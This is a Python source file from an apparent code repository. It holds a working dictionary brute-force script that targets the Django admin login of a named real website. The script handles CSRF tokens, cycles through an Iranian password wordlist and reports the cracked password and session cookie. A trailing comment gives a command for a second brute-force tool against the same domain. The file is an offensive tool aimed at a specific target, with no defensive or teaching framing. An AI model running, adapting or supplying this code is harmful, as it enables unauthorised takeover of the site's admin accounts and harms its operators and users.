Files
hossein-por-shop/brute_force.py

82 lines
2.2 KiB
Python

import requests
from lxml import html
TARGET_URL = 'https://api.torob.com/torob-admin/login/'
USERNAME = ''
WORDLIST = '/root/Iranian-Password-list/nam2elist.txt'
def brute_force():
print(f'Target: {TARGET_URL}')
print(f'Trying passwords for {USERNAME}.')
client = requests.session()
page = client.get(TARGET_URL)
tree = html.fromstring(page.content)
csrf_middleware_token = tree.xpath('//input[@name="csrfmiddlewaretoken"]/@value')[0]
csrf_token = client.cookies.get('csrftoken')
cookies = {'csrftoken': csrf_token}
headers = {'Referer': TARGET_URL}
print('Reading file...')
with open(WORDLIST, mode='r') as file:
content = file.readlines()
passwords = [p.strip() for p in content]
print('Cracking', end='', flush=True)
count = 0
for password in passwords:
count += 1
print_count(count)
body = {
'username': USERNAME,
'password': password,
'csrfmiddlewaretoken': csrf_middleware_token
}
response = requests.post(
TARGET_URL,
cookies=cookies,
headers=headers,
data=body,
allow_redirects=False
)
if response.status_code == 302:
break
if response.status_code == 200:
continue
break
if response.status_code == 302:
session_token = response.cookies.get('sessionid')
print(f'\nSuccess. {count} passwords tried. Password: {password}. Session token: {session_token}.')
elif response.status_code == 200:
print(f'\nFailed. {count} passwords tried.')
else:
print(f'\nUnable to attempt login: received status code {response.status_code}.')
def print_count(counter, small_denom=10, big_denom=100):
if (counter / small_denom).is_integer():
print('.', end='', flush=True)
if (counter / big_denom).is_integer():
print(counter, end='', flush=True)
if __name__ == '__main__':
brute_force()
#DjangoUnchained.py -domain api.torob.com -scheme https -uri /torob-admin/login/ -userdict /root/DjangoUnchained/username.txt -passwdict /root/DjangoUnchained/password.txt -l /root/file.log